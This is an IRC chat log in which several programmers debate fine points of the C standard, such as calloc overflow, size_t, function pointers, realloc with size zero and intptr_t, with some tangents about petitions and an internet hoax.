20:16:08 <elliott> void *calloc(size_t nmemb, size) { void *ptr = malloc(nmemb * size); if (ptr == NULL) return NULL; return memset(ptr, 0, nmemb * size); }
20:16:10 <ais523> zzo38: at a high level, malloc reuses previously freed space if there's enough, or if there isn't, asks the OS for more
20:16:12 <elliott> *size_t size
20:16:14 <elliott> hmm, is that valid?
20:16:21 <elliott> what if nmemb*size overflows?
20:16:28 <ais523> elliott: what if nmemb * size is exactly INT_MAX+1?
20:16:30 <elliott> hm, wait
20:16:32 <elliott> *hmm
20:16:37 <ais523> that lead to a huge flamewar in comp.lang.c a while ago
20:16:39 <elliott> size_t can hold the size of any allocatable object, right?
20:16:43 <ais523> with various standards committee members around
20:16:48 <elliott> so if nmemb*size overflows, the call wasn't valid anyway
20:16:49 <Vorpal> <ais523> elliott: Vorpal: fizzie: NetHack used to use "inline" as a variable name <-- awesome
20:16:51 <elliott> _but_
20:16:53 <zzo38> ais523: Is there a block size that it will always allocate a multiple of? Is there any kind of heading for the allocated memory?
20:16:53 <elliott> that should be checked for
20:16:55 <ais523> or was it comp.std.c?
20:17:06 <pikhq> elliott: If nmemb*size overflows, I'm pretty sure you hit undefined behavior.
20:17:15 <zzo38> If you want to use "inline" as a variable name, you can just define in the preprocessor?
20:17:28 <elliott> void *calloc(size_t nmemb, size) { void *ptr; if (__builtin_overflows_on_multiplication(nmemb, size)) undefined_behaviour("calloc() arguments overflow when multiplied"); ptr = malloc(nmemb * size); if (ptr == NULL) return NULL; return memset(ptr, 0, nmemb * size); }
20:17:29 <elliott> tada!
20:17:32 <Vorpal> <ais523> Vorpal: only by forcing variables to be initialized at the first sign of uncertainty <-- indeed I was thinking of "always default to null/0" though
20:17:44 <elliott> hmm, perhaps it should be __BUILTIN_OVERFLOWS(size_t, nmemb*size)
20:17:45 <elliott> or something
20:17:53 <pikhq> zzo38: inline is a keyword. Aside from preprocessor defines, you can't use that.
20:17:55 <Vorpal> ais523, some less low level languages do that iirc
20:18:17 <ais523> zzo38: http://tasvideos.org/GameResources/DOS/NetHack.html contains a description of the DJGPP memory allocator (which I wrote), but I can't give you a link anchor because there isn't one; search for "The memory allocation algorithm" on the page
20:18:51 <fizzie> <elliott> (func_t) (void *) (func_t) is allowed, right? ← No, it's not.
20:18:52 <ais523> elliott: the row was about whether calloc(65536,65536) or whatever the numbers were actually is undefined behaviour, or whether it's specified to return NULL and set errno
20:18:58 <ais523> or whether it should succeed and allocate more than a size_t
20:19:00 <elliott> fizzie: hmm
20:19:03 <fizzie> Assuming func_t is a function type.
20:19:07 <Vorpal> fizzie, yes I think it is?
20:19:07 <ais523> elliott: you can't cast to and from function pointers at all
20:19:14 <ais523> and especially, you can't cast to and from /functions/
20:19:16 <Vorpal> or hm
20:19:17 <ais523> (which are a separate type)
20:19:19 <elliott> ais523: If nmemb or size is 0, then calloc() returns either NULL, or
20:19:19 <elliott> a unique pointer value that can later be successfully passed to free().
20:19:24 <fizzie> Vorpal: "A pointer to void may be converted to or from a pointer to any *incomplete or object type*."
20:19:28 <elliott> ais523: my man pages suggest that it's undefined behaviour
20:19:29 <fizzie> Vorpal: Not to a function type.
20:19:31 <elliott> ais523: have you got a link to C99?
20:19:32 <ais523> elliott: but neither nmemb nor size is 0
20:19:37 <fizzie> (Or a pointer to a function.)
20:19:37 <elliott> ais523: exactly
20:19:39 <elliott> so that case doesn't apply
20:19:41 <Vorpal> fizzie, sure C99 doesn't allow it?
20:19:46 <elliott> but i'll look at c99 first
20:19:54 <fizzie> Vorpal: That was directly from C99.
20:20:01 <ais523> elliott: http://clc-wiki.net/wiki/C99#Obtaining_the_Standard
20:20:02 <ais523> pick your method
20:20:06 <fizzie> Vorpal: You can convert a pointer to one function to a pointer to any other type of function.
20:20:09 <Vorpal> fizzie, hm didn't it add some hack to make POSIX work or such?
20:20:12 <fizzie> Vorpal: But you can't stick functions into void *s.
20:20:14 <Vorpal> fizzie, ah right!
20:20:15 <elliott> wikipedia links to http://www.open-std.org/jtc1/sc22/WG14/www/docs/n1256.pdf
20:20:16 -!- kar8nga has quit (Remote host closed the connection).
20:20:22 <zzo38> pikhq: I know "inline" is keyword but I think it is possible to use preprocessor macro to override it, I have tried that and it worked.
20:20:30 <elliott> that has the technical corrigendums in, I think
20:20:41 <ais523> if you want C99, N1124 is probably the best option, it's the first post-C99 draft of C0x
20:20:45 * elliott greps for calloc, slowly
20:20:45 <fizzie> So you can pick a "generic function pointer" of any type you like (for example void (*)(void)) and use that.
20:20:49 <elliott> ais523: N1256 is what I have
20:20:53 <fizzie> But you just can't use "void *" for functions.
20:20:56 <ais523> N1425 is the most recent draft, of C1x
20:21:01 <elliott> it's C99, TC3, "Septermber" 7, 2007
20:21:03 <elliott> yes, Septermber
20:21:05 <elliott> I'm not kidding
20:21:12 <Sgeo> Wait, void* can't be used for function pointers?
20:21:14 <Sgeo> Awww....
20:21:16 <ais523> fizzie: void (*)() (which is a different type), is a better choice for a generic function pointer, I think
20:21:31 <ais523> Sgeo: of course not, there's no guarantee that functions and data are even in the same memory space
20:21:31 <elliott> this does not appear to have calloc
20:21:33 <elliott> oh, there it is
20:21:39 <Sgeo> TIL
20:21:43 <elliott> Description
20:21:43 <elliott> 2 The calloc function allocates space for an array of nmemb objects, each of whose size
20:21:43 <elliott> is size.The space is initialized to all bits zero.
20:21:43 <elliott> 261)
20:21:43 <elliott> Returns
20:21:43 <elliott> 3 The calloc function returns either a null pointer or a pointer to the allocated space
20:21:45 <elliott> wow, that's ridiculously underspecified
20:21:52 <ais523> thus the row
20:21:55 <elliott> *space.
20:21:58 <fizzie> ais523: Since you need (and can) cast anyway, I don't think it really matters what you pick; but sure, I guess that's "more generic" arguably.
20:22:06 <elliott> ais523: well, it's defined that size_t can hold the size of any allocatable object
20:22:10 <ais523> there's no obvious reason why it can't return an allocation of more than size_t bytes
20:22:18 <Phantom_Hoover> http://www.theweinerworks.com/?p=344
20:22:20 <elliott> ais523: therefore, SIZE_T_MAX (I don't care if it's not called that), is the size of the maximum allocatable object
20:22:21 <ais523> elliott: indeed, but that's contiguous space for /lots/ of allocatable objects
20:22:26 <Phantom_Hoover> tl;dr: Zach Weiner is awesome.
20:22:30 <ais523> see the difference?
20:22:32 <elliott> ais523: obviously, you cannot allocate an object bigger than that, since size_t is defined to be able to hol dit
20:22:33 <elliott> *hold it
20:22:39 <ais523> elliott: but you aren't
20:22:42 <ais523> you're just allocating more memory than that
20:22:45 <elliott> ais523: therefore, the calloc should fail
20:22:48 <ais523> which is divided into multiple objects
20:22:49 <elliott> ais523: and?
20:22:51 <elliott> hmm
20:22:59 <elliott> let me look up size_t's definition
20:23:00 <zzo38> If you make a better C interpreter then I might replace the one in Enhanced CWEB with a new one, maybe.
20:23:04 <ais523> you can access individual objects there via pointer arithmetic, but there's no implication that the /whole thing/ is an object
20:23:30 <elliott> size_t
20:23:30 <elliott> which is the unsigned integer type of the result of the sizeof operator; and
20:23:31 <elliott> aha
20:23:41 <elliott> 4 The types used for size_t and ptrdiff_t should not have an integer conversion rank
20:23:41 <elliott> greater than that of signed long int unless the implementation supports objects
20:23:41 <elliott> large enough to makethis necessar
20:23:51 <elliott> so it depends on sizeof
20:24:35 <elliott> ais523: so in fact, size_t is an unsigned integral type that can hold the size of the result of any expression, in bytes
20:24:46 <ais523> elliott: http://groups.google.com/group/comp.std.c/browse_thread/thread/35ec063d81174821/c888bee3aeeba7df
20:24:46 <elliott> ais523: now, calloc's definition speaks of arrays
20:24:58 <elliott> ais523: sizeof(array) = size of member * size of array
20:24:59 <elliott> as a size_t
20:25:08 -!- kar8nga has joined.
20:25:19 <elliott> it is impossible to have an array such that sizeof(array) does not return a size_t with its nmemb*size in bytes
20:25:25 <ais523> elliott: you can read that whole thread to see much more knowledgeable people than me argue this
20:25:32 <elliott> therefore, calloc cannot allocate the array specified by nmemb=MAX, size=MAX
20:25:44 <elliott> therefore, since it cannot, by definition, allocate such an array, the call fails to allocate
20:26:00 <elliott> and it should fail, returning NULL
20:26:02 <elliott> and setting errno
20:26:11 <elliott> ais523: agreed?
20:26:21 <elliott> it seems pretty clear-cut, after tracing size_t's definition back to sizeof
20:26:23 <ais523> elliott: you should also look at defect report resolution 266, which says that objects are allowed to exceed SIZE_MAX bytes
20:26:30 <elliott> and considering that calloc says it allocates an _array_
20:26:36 <elliott> ais523: yes, but not arrays
20:26:39 <elliott> presumably
20:26:45 <ais523> stop presuming!
20:26:46 <Vorpal> <elliott> that has the technical corrigendums in, I think <-- what's wrong with that
20:26:55 <elliott> ais523: sizeof has to return the size of the array! it is defined to!
20:26:58 <elliott> Vorpal: nothing
20:27:07 <elliott> ais523: 0 bytes is not the size of an array like that!
20:27:10 <elliott> so sizeof can't return 0 in that case
20:27:14 <elliott> ergo, arrays must be under SIZE_MAX bytes
20:27:22 <ais523> elliott: the argument is that using sizeof on them is undefined behaviour
20:27:25 <ais523> because the standard doesn't define it
20:27:31 <elliott> ais523: IMO, such an object would have to be a pointer
20:27:34 <elliott> because sizeof can't do that to them
20:27:41 <elliott> ais523: no
20:27:44 <elliott> the standard doesn't say
20:27:46 <ais523> elliott: read the thread, OK
20:27:51 <elliott> "On objects whose size can fit into a size_t, sizeof returns their size"
20:27:51 <ais523> elliott: exactly, it doesn't define
20:27:52 <elliott> it says
20:27:59 <elliott> "sizeof returns a size_t, their size"
20:27:59 <ais523> if the standard doesn't define something, that's undefined behaviour
20:28:00 <ais523> by definition
20:28:07 <ais523> see how it ended up so all over the place in C?
20:28:08 <elliott> ais523: it DOES define it
20:28:11 <elliott> sizeof is defined on all objects
20:28:13 <elliott> and return their size
20:28:15 <elliott> *returns
20:28:17 <elliott> and returns a size_t
20:28:24 <ais523> elliott: "On objects whose size can fit into a size_t,"
20:28:26 <elliott> therefore, arrays must be under SIZE_MAX bytes, there's no argument to it
20:28:28 <ais523> from your own quote
20:28:32 <elliott> ais523: oh, shit
20:28:40 <elliott> ais523: OK, the calloc is undefined behaviour. probably.
20:29:17 <ais523> the thread went to 122 messages
20:29:21 <fizzie> ais523: The "On objects whose size can fit into a size_t," quote was what the standard does *not* say.
20:29:31 <ais523> fizzie: so elliott lied?
20:29:41 <fizzie> ais523: No, he said that is what the standard does not say.
20:29:47 <fizzie> <elliott> the standard doesn't say
20:29:47 <fizzie> <elliott> "On objects whose size can fit into a size_t, sizeof returns their size"
20:29:58 <ais523> ah, and I missed it due to comments in between
20:30:12 <ais523> but I'd rather trust comp.std.c on this, who are really good at arguing such things
20:30:19 <ais523> and especially the defect report people
20:30:27 <ais523> who are the same people who write the standard
20:30:43 <elliott> ah
20:30:45 <elliott> then I'm still right
20:31:05 <elliott> calloc(x,y) where x*y can't fit into a size_t fails
20:31:08 <elliott> or, actually
20:31:11 <elliott> any program that says
20:31:16 <elliott> calloc(x,y) where x*y can't fit into a size_t
20:31:17 <ais523> <Keith Thompson> In C90, [...] there was *no* way to apply sizeof to the argument created by calloc
20:31:19 <elliott> is an illegal C program
20:31:27 <elliott> yes, an _illegal_ C program
20:31:30 <elliott> not one that merely triggers errno
20:31:36 <elliott> arguably, this is the same as undefined behaviour
20:31:44 <elliott> in that the C standard doesn't explicitly say what to do with such an illegal program
20:31:58 <ais523> elliott: hmm, can you use a sizeof-based argument if there's no way to apply sizeof to the resulting object?
20:32:09 <elliott> ais523: yes, because calloc's definition says it allocates an _array_
20:32:16 <elliott> and all arrays can be passed to sizeof to get their size in bytes
20:32:20 <ais523> elliott: err, no they can't
20:32:23 <elliott> yes they can
20:32:27 <ais523> precisely because they can't if they were created by calloc
20:32:30 <ais523> can you write code that does that/
20:32:31 <elliott> sizeof(array) == sizeof(array[0]) * length of array
20:32:35 <elliott> ais523: calloc doesn't return the array
20:32:41 <elliott> it returns a pointer to the array
20:32:48 <ais523> elliott: exactly, so you can't sizeof it
20:32:50 <elliott> ais523: just because you can't _access_ the array, doesn't mean it's not an array
20:32:55 <elliott> it is said to be an array
20:32:59 <ais523> elliott: but it does mean you can't apply sizeof to it
20:33:01 <elliott> in C, arrays can be passed to sizeof to get their size
20:33:09 <elliott> if you have an object
20:33:09 <fizzie> elliott: It is not said to be an array; it is said to allocate space for an array.
20:33:15 <elliott> fizzie: well, true
20:33:15 <elliott> argh
20:33:20 <elliott> shut up, this is painful :P
20:33:32 <ais523> elliott: you're saying that arrays can be passed to sizeof, and that calloc's return is an array, thus calloc's return can be passed to sizeof
20:33:35 <ais523> which is obviously incorrect
20:33:39 <ais523> thus one of your premises is wrong
20:34:28 <elliott> ais523: I did _not_ say that
20:34:31 <elliott> never! did I say that
20:34:39 <elliott> ais523: I was reasoning INTERNALLY TO CALLOC
20:34:40 <ais523> elliott: not directly, I'm showing your argument
20:34:43 <elliott> no
20:34:45 <elliott> that is not my argument
20:34:51 <elliott> that is _not_ and has _never_ been my argument, and I do _not_ believe that premise
20:34:51 <ais523> you can't reason internally to calloc, it might not be written in C
20:34:54 <elliott> nor have I ever believed it
20:34:58 <elliott> ais523: irrelevant, it is defined in terms of _C arrays_
20:35:13 <elliott> or, else, okay, let's define array to mean whatever it does in calloc's implementation language
20:35:16 <elliott> I have this nice language here
20:35:16 <ais523> elliott: but not defined in terms of _C arrays that can be passed to sizeof_
20:35:20 <elliott> where "array" means "byte"
20:35:25 <ais523> which is a different concept
20:35:27 <elliott> ais523: *EVERY* C array can be passed to sizeof!
20:35:34 <ais523> elliott: no, the internal ones in calloc can't
20:35:34 <elliott> that's part of the definition of a C array, part of its concept!
20:35:36 <elliott> aargh
20:35:37 <elliott> shut up
20:35:51 <ais523> <elliott> that's part of the definition of a C array, part of its concept! <--- this is merely incorrect
20:35:54 <ais523> that's just a pure false statement
20:36:01 <pikhq> ais523: No, it's purely true.
20:36:18 <ais523> hmm, the thread went on to argue about what sizeof(int[SIZE_MAX][3]) is
20:36:24 <ais523> you have an actual array type there
20:36:28 <ais523> and it still isn't clear-cut
20:36:37 <elliott> ais523: you're really annoying me with this, please drop the issue
20:36:53 <pikhq> ais523: I don't see how it could be anything but undefined behavior.
20:36:57 <elliott> because you're claiming something blatantly false, and at the same time claiming something directly reasonable from the standard as blatantly false
20:38:04 <ais523> pikhq: the commenters on comp.std.c think that the standard contradicts itself, in that it's defined behaviour but what it's defined /to/ contradicts other parts of the standard
20:38:28 <pikhq> ais523: Then clearly the standard is fallacious.
20:38:41 <ais523> pikhq: indeed
20:39:05 <elliott> let's talk about R5RS instead, that's an actually sane standard
20:39:34 <pikhq> ais523: And of course, there's no possible way for size_t to be a bignum.
20:39:42 <Sgeo> Doesn't it have some insane part? I don't remember, but I remember seeing some specific functions criticised
20:39:46 <ais523> pikhq: indeed
20:40:09 <pikhq> Well, it could be implemented as an arbitrarily bound bignum, I suppose. :P
20:40:45 <elliott> size_t can be a bignum in C minus the stdlib
20:40:49 <elliott> just make char a bignum
20:40:54 <elliott> this fails with an stdlib because you have to define CHAR_BIT
20:41:10 <elliott> (I suppose the C standard itself may accidentally refer to char as having some number of bits even in the non-stdlib parts, invalidating this)
20:41:31 <pikhq> elliott: Actually, the maximum value of a char must be defined in an unhosted implementation as well.
20:41:36 <pikhq> stddef.h must always exist.
20:41:44 <pikhq> (IIRC)
20:41:48 <ais523> pikhq: and limits.h, but that's not what elliott said
20:42:09 <ais523> without a stdlib at all, the type is still implementation-defined, so it still has (by the standard) to be documented
20:42:18 <ais523> I'm not sure if documenting it as being infinite would work
20:42:37 <pikhq> ais523: The thing is, *not having* that header is a violation of the standard.
20:42:39 <elliott> hmm, can you shrink with realloc?
20:42:44 <pikhq> elliott: Yes.
20:42:53 <elliott> ah, indeed
20:42:58 <ais523> elliott: yes, although it's allowed to move the pointer if you do, and also to fail to free any memory if you do
20:43:19 <ais523> most implementations of realloc I've seen just ignore attempts to shrink, which is of course legal
20:44:04 <pikhq> Perhaps not optimal (it'd be nice to be able to hand stuff back to the pool doing that), but certainly legal.
20:44:27 <ais523> hmm, elliott's arguments were made in the comp.std.c thread too, and other people accused the person making them of circular reasoning
20:44:33 <ais523> so my conclusion is, this flamewar's happened before
20:44:38 <ais523> and repeating it is a little pointless
20:45:15 <ais523> elliott: here's a fun one: is "int x = INT_MIN;" legal?
20:45:17 <fizzie> realloc(ptr, 0) is also allowed (but not required) to free(ptr) and return NULL.
20:45:31 <fizzie> Have your implementations special-cased that?
20:45:34 <ais523> fizzie: allowed but not required?
20:45:39 <elliott> that's insane
20:45:44 <ais523> what happens if it fails, wouldn't it leave ptr allocated and return NULL?
20:45:55 <ais523> I thought it was required to free and return null
20:46:02 <pikhq> ais523: It could just do nothing, and it would be undefined behavior to access the pointer.
20:46:09 <elliott> that's brilliant
20:46:11 <fizzie> ais523: "If size was equal to 0, either NULL or a pointer suitable to be passed to free() is returned."
20:46:11 <ais523> (contrary to malloc, which is allowed to succeed at allocating 0 bytes)
20:46:22 <ais523> fizzie: ouch
20:46:28 <elliott> :D
20:46:45 <elliott> http://sprunge.us/aeIg <-- here's PedantiC's implementation of calloc and realloc
20:46:57 <pikhq> ais523: Would it make you feel better to know that free(NULL) is a noöp?
20:46:57 <ais523> anyway, INT_MIN isn't a legal value for integers because the definition of unary - doesn't give any leeway for it being applied to a value that can't be negated
20:47:02 <ais523> pikhq: I know that one
20:47:12 <elliott> REALLY ULTRA PEDANTIC
20:47:30 <fizzie> ais523: Hmm, that seems to have been just my non-conforming man page; but if I read C99 right, it can't return NULL at all in that case. (Perhaps because NULL is the error result?)
20:47:31 <ais523> <ais523> anyway, INT_MIN isn't a legal value for integers because the definition of unary - doesn't give any leeway for it being applied to a value that can't be negated <-- probably not true, but it's the same argument as the sizeof-based one
20:47:48 <elliott> ais523: "int x = INT_MAX - 1;" -- valid or not? :)
20:47:54 <elliott> erm
20:47:57 <elliott> ais523: "int x = (INT_MAX + 1) - 1;" -- valid or not? :)
20:48:04 <ais523> elliott: obvious UB, signed overflow
20:48:05 <fizzie> ais523: "The realloc function returns a pointer to the new object (which may have the same value as a pointer to the old object), or a null pointer if the new object could not be allocated."
20:48:11 <ais523> which is defined as UB, IIRC
20:48:19 <elliott> ais523: who said that the expression on the RHS is evaluated as an int?
20:48:24 <elliott> ais523: maybe it's evaluated with long longs, and then casted to int
20:48:25 <fizzie> (With nothing special about 0.)
20:48:30 <ais523> elliott: the standard did, all the values there are ints
20:48:35 <pikhq> fizzie: Technically still a true statement, though.
20:48:37 <elliott> aww :)
20:48:37 <ais523> and there are rules for the widths of intermediate calculations
20:48:52 <pikhq> fizzie: It would be entirely permitted to return the old pointer, a *new* pointer, or a null pointer.
20:48:53 <ais523> more fun: short x = (SHRT_MAX + 1) - 1; is legal, for the same reason
20:48:59 <me2ufool> back
20:49:02 <elliott> insufficient comments about PedantiC's helpful error reporting
20:49:03 <ais523> if short happens to be shorterthan int
20:49:05 <ais523> *shorter than int
20:49:13 <elliott> it's like lint on steroids, except going down a different path to splint
20:49:15 <ais523> elliott: I think it's incorrect on the overflowing sizeof
20:49:23 <elliott> ais523: *size_t
20:49:27 <ais523> err, yes
20:49:29 <me2ufool> are u guys programming something
20:49:32 <me2ufool> ?
20:49:33 <elliott> ais523: well, that's the whole argument isn't it
20:49:40 <elliott> me2ufool: well, this channel _is_ about esoteric programming languages
20:49:44 <ais523> not to mention your __BUILTIN_OVERFLOW has a crazy calling convention
20:49:44 <pikhq> me2ufool: No, just talking about details of a language standard ATM.
20:49:46 <elliott> but right now, we're just arguing.
20:49:47 <pikhq> Close, though.
20:49:47 <elliott> i mean debating.
20:49:52 <fizzie> pikhq: Well, I guess the legality of "free(ptr); return NULL;" depends on how you read the "new object could not be allocated" bit.
20:49:52 <elliott> ais523: it's not a function
20:49:53 <elliott> obviously
20:49:55 <elliott> it's a compiler builtin
20:49:58 <elliott> __BUILTIN_OVERFLOWS_TYPE
20:49:58 <ais523> elliott: indeed
20:50:02 <ais523> the calling convention is /still/ crazy
20:50:04 <me2ufool> oh...
20:50:07 <Gregor> Have signed petitions ever accomplished anything in the history of the world?
20:50:10 <elliott> ais523: __BUILTIN_DESCRIBE_VARIABLE is a builtin too
20:50:12 <ais523> and builtins can have calling conventions as much as anything else
20:50:15 <ais523> Gregor: I think so
20:50:20 <elliott> ais523: returning a __variable_description_t
20:50:23 <Gregor> ais523: I think not.
20:50:30 <elliott> ais523: (__builtin_incorrect_program is just a compiler-specific function)
20:50:36 <ais523> they've accomplished getting someone executed before now, at least
20:50:37 <pikhq> Gregor: You live in a nation that exists courtesy of one such petition.
20:50:38 <elliott> that uses the functions on __variable_description_t to print out their types and values
20:50:42 <elliott> for helpful error reporting
20:50:47 -!- me2ufool has left (?).
20:50:57 <elliott> ais523: realy?
20:50:58 <elliott> *really?
20:51:00 <elliott> that sounds very scary
20:51:03 <Gregor> pikhq: Wars establish independence, not letters.
20:51:04 <ais523> Gregor: on the other hand, unsigned petitions are more useful as you don't have to worry about overflow
20:51:16 <fizzie> pikhq: Oh, actually combining with an earlier statement ("If memory for the new object cannot be allocated, the old object is not deallocated and its value is unchanged") it can't do "free and return NULL" at all. It must either return a free()able pointer (old or new) or return NULL but keep the old pointer valid.
20:51:17 <elliott> i knew that was coming
20:51:22 <elliott> i even thought Gregor was punning about that to start with
20:51:25 * Gregor kills ais523 with a stick.
20:51:36 <ais523> elliott: it was back in the days of dictatorial kings in the UK, when there was some sort of public rebellion-type thing
20:51:39 <pikhq> Gregor: Tell that to Canada, then?
20:51:48 <ais523> except they went and did it with a petition to start with rather than fighting
20:51:54 <elliott> ais523: oh, i thought you meant recently
20:51:59 <elliott> like some Daily Mail type bullshit
20:52:00 <ais523> although I think it went to fighting eventually, or at least the monarchy was worried, so they executed the ringleader
20:52:14 <ais523> elliott: err, no, the "in the history of the world" was quite definite there
20:52:34 <elliott> ais523: I know
20:52:36 <elliott> I just interpreted your reply like that
20:52:38 <elliott> because I'mc ynical
20:52:42 <elliott> *I'm cynical
20:52:47 <pikhq> Gregor: Also, on a much lesser scale. You realise that most ballot issues in many US states are put there because of a petition, right?
20:53:03 <elliott> ais523: anyway, I'd say that __builtin_malloced_size is almost as crazy as __BUILTIN_OVERFLOWS_TYPE
20:53:12 <elliott> although the latter requires bignums in the general case, I think
20:53:14 <ais523> elliott: there was some discussion about it
20:53:16 <elliott> in the compiler
20:53:21 <ais523> asking whether implementations ever didn't know about it
20:53:22 <pikhq> (as they have a law stating "if a petition for a ballot issue gets $FOO signatures, it's on the ballot.")
20:53:50 <ais523> I can't remember if the "what if it overflows size_t" argument comes up, but there was a "is that possible on all platforms?" argument
20:54:18 <fizzie> ais523: I could easily imagine a system where after "void *p = malloc(N);" you couldn't exactly deduce N from p, only an upper bound.
20:54:47 <Gregor> pikhq: I guess I'm thinking more /unsolicited/ petitions.
20:54:50 <ais523> fizzie: the malloced_size was meant to return the amount of memory that was actually used in that size, rather than N
20:55:01 <Gregor> pikhq: Not things that are legally designated to be accomplished by petition.
20:56:34 <fizzie> ais523: Well, that does sound more reasonable. Though I could still believe a malloc() implementation that deferred to some sort of a memory allocation syscall that tracked the size internally and didn't expose it at all to the user-space code. (In which case it certainly could be worked-around, but that wouldn't be very optimal.)
20:56:54 <pikhq> Gregor: Paying attention to written and signed attentions has long been a duty of the monarch in monarchies; often times, these petitions would actually have an effect.
20:56:57 <ais523> fizzie: DOS has one of those, I think I may even have contributed to the thread saying so
20:57:05 <ais523> (an actual malloc-like syscall, rather than a sbrk-like syscall)
20:57:51 <pikhq> Gregor: And in the UK, it's still technically a duty of the House of Commons, though it's ceased to be a common matter.
20:58:16 <pikhq> (obviously, the House of Commons is here acting the name of the Crown in Right of the United Kingdom)
20:58:24 <pikhq> s/acting/acting in/
20:58:27 * Gregor hmmmmmms loudly.
20:58:41 <elliott> ais523: can you always cast an integral type to a pointer?
20:58:43 <ais523> pikhq: actually, they respond to petitions quite a lot, it's mostly done online nowadays
20:58:50 <pikhq> ais523: Ah, good to know.
20:59:00 <ais523> elliott: no; in fact, I think it's at least implementation-defined whether you can do that at all
20:59:22 <ais523> if you can, though, there's an intptr_t which is a size of integer suitable for round-tripping to pointers and back
20:59:29 <ais523> (which doesn't exist if you can't)
20:59:36 <elliott> intptr_t can not exist?
20:59:41 <ais523> it's allowed to not exist, yes
20:59:46 <ais523> but has to exist if it would be meaningful
21:00:22 <ais523> you'd expect (void*)ULLONG_MAX to be meaningless on a 32-bit system, though, and defined as such
21:00:26 <ais523> with intptr_t being 32-bit
21:00:40 <zzo38> The last case, ``1'' to ``1st'', is simplest, so it comes first.
21:01:11 <zzo38> <[th]s0[st]s1[nd]s2[rd]s3 dBr 100%d10%r10/1-1 0 1i* d3-1d0i* `0+L+>
21:01:30 <elliott> ais523: then PedantiC has no intptr_t!
21:01:50 <ais523> and presumably all int<->pointer conversions are illegal
21:02:16 <elliott> yep
21:02:31 <elliott> ais523: pointers are, in fact, this structure
21:02:36 <elliott> struct __pointer_struct {
21:02:47 -!- pikhq_ has joined.
21:02:50 <elliott> size_t __pointer_start;
21:02:57 <elliott> size_t __pointer_size;
21:02:59 <elliott> };
21:03:00 <elliott> OR SOMETHING
21:03:03 <ais523> note that in C, it's legal to type-pun anything to an array of unsigned char then read it
21:03:16 <elliott> oh, i need to have a type descriptor in there :D
21:03:19 <ais523> so you probably want to randomize the internal representation to stop people exploiting it
21:03:24 <zzo38> elliott: Pointers in C do not work that way, though
21:03:24 <ais523> elliott: and the current value of the pointer
21:03:32 <elliott> <ais523> so you probably want to randomize the internal representation to stop people exploiting it
21:03:33 <elliott> naw
21:03:33 -!- cheater99 has quit (Ping timeout: 240 seconds).
21:03:36 <ais523> zzo38: they do according to the standard, just it's undefined what happens if you don't
21:03:41 <elliott> that would break on any _other_ machine :)
21:03:45 <elliott> zzo38: yes, they can
21:03:49 <elliott> if the implementation does it
21:03:57 <pikhq_> ais523: Actually, there's a form of int<->pointer casting that's perfectly lega.
21:04:00 <ais523> and so you can use the as-if rule in order to simplify them down to a single reference to memory
21:04:00 -!- azaq23 has quit (Quit: Leaving.).
21:04:02 <pikhq_> ais523: Lemme find the type.
21:04:05 <elliott> pikhq_: now wait for ineiros to disagree
21:04:08 <elliott> erm
21:04:09 <elliott> fizzie
21:04:11 <ais523> pikhq_: not 0<->NULL, at least
21:04:13 <fizzie> What, you're going to have a fixed-size pointer? You should at least add random padding based on the type.
21:04:19 <elliott> ais523: the as-if rule?
21:04:30 -!- azaq23 has joined.
21:04:36 <elliott> fizzie: maybe they'll be done with bignums internally
21:04:37 <ais523> elliott: that an impl doesn't have to obey the letter of the standard if there's no program you could use to tell them apart without invoking UB
21:04:41 <zzo38> I do guess that is one way, as long as you can still do numbers adding and so on.
21:04:41 <elliott> for no reason at all,
21:04:42 <elliott> *all
21:04:44 <ais523> the letter of the standard's a little insane in all sorts of ways
21:04:47 <elliott> ais523: haha
21:04:52 <pikhq_> ais523: Uh, 0 == NULL.
21:04:56 <ais523> and that lets you have sane implementations
21:05:01 <elliott> pikhq_: wrong
21:05:01 <ais523> pikhq_: that's a pointer == pointer cast
21:05:02 <pikhq_> IIRC.
21:05:09 <ais523> (int)0 == NULL is not necessarily true
21:05:12 <ais523> even though 0 == NULL is
21:05:13 <elliott> indeed
21:05:17 <elliott> and IIRC,
21:05:17 -!- pikhq has quit (Ping timeout: 240 seconds).
21:05:18 <elliott> int x = 0;
21:05:21 <elliott> void *foo = (void *)x;
21:05:25 <elliott> (int)foo doesn't have to be 0
21:05:27 <ais523> doesn't have to produce NULL
21:05:30 <elliott> so long as foo itself is a NULL-pointer
21:05:46 <ais523> elliott: err, you'd expect (int)foo to be a segfault the sane way of doing it with that
21:05:48 -!- pikhq_ has changed nick to pikhq.
21:05:50 <ais523> to sane nothing about the insane way
21:05:54 <ais523> what you mean is, foo doesn't have to be NULL
21:06:01 <ais523> *say nothing about the insane way
21:06:08 <elliott> right
21:06:14 <elliott> but foo can't address anything
21:06:15 <elliott> I think
21:06:16 <pikhq> ais523: Okay, yeah, that's not actually a cast. 0 == NULL but "(int)0 == NULL" is UB.
21:06:56 <pikhq> I *know* there's an integer type that you can convert a pointer into and then convert back to a pointer and it's defined.
21:07:02 <ais523> elliott: it can, depending on how int <-> pointer is defined, and it's impl-defined
21:07:15 <fizzie> pikhq: It's the already-mentioned intptr_t, which need not exist.
21:07:20 <pikhq> Though I'm pretty sure doing arithmetic on it can get you undefined behavior.
21:07:23 <pikhq> fizzie: Ah, right, that.
21:08:02 <ais523> hmm, according to TDWTF sidebar, a bunch of students were asked to do a project on the pacific northwest tree octopus
21:08:13 <ais523> now, you can find out info about it online, although the info is blatantly lying
21:08:22 -!- cheater99 has joined.
21:08:27 <ais523> but the students refused to accept that it didn't exist, becaues it said online that it did
21:08:36 <pikhq> Ah, they are optional.
21:08:40 <zzo38> There is no octopus in the tree (unless someone put it there).
21:09:05 <pikhq> Okay, so intptr_t <-> pointer is defined if and only if intptr_t exists.
21:09:06 <pikhq> Got it.
21:09:19 <fizzie> ais523: "An integer may be converted to any pointer type. -- the result is implementation-defined, might not be correctly aligned, might not point to an entity of the referenced type, and might be a trap representation." So, uh... the conversion that way is always "legal", it's just that if the result is a trap representation doing anything with it could be undefined.
21:09:25 <zzo38> So, you can steal it from the water and put it on the tree and then tell everyone within range that there is tree octopus.
21:09:42 <ais523> fizzie: doesn't merely existing cause trap representations to crash programs
21:09:54 <ais523> elliott: oh right, your signed integers should /definitely/ have padding, and multiple trap representations
21:09:57 <ais523> because I think that's allowed
21:10:07 <elliott> ais523: aargh
21:10:20 <elliott> ais523: this isn't DS9K, just DS9Pedantic
21:10:22 <ais523> zzo38: why bother, when the Internet will pretend there's tree octopi for you?
21:10:36 <ais523> elliott: but programs might assume that all the bits in an integer are meaningful!
21:10:41 <elliott> ais523: oh no!
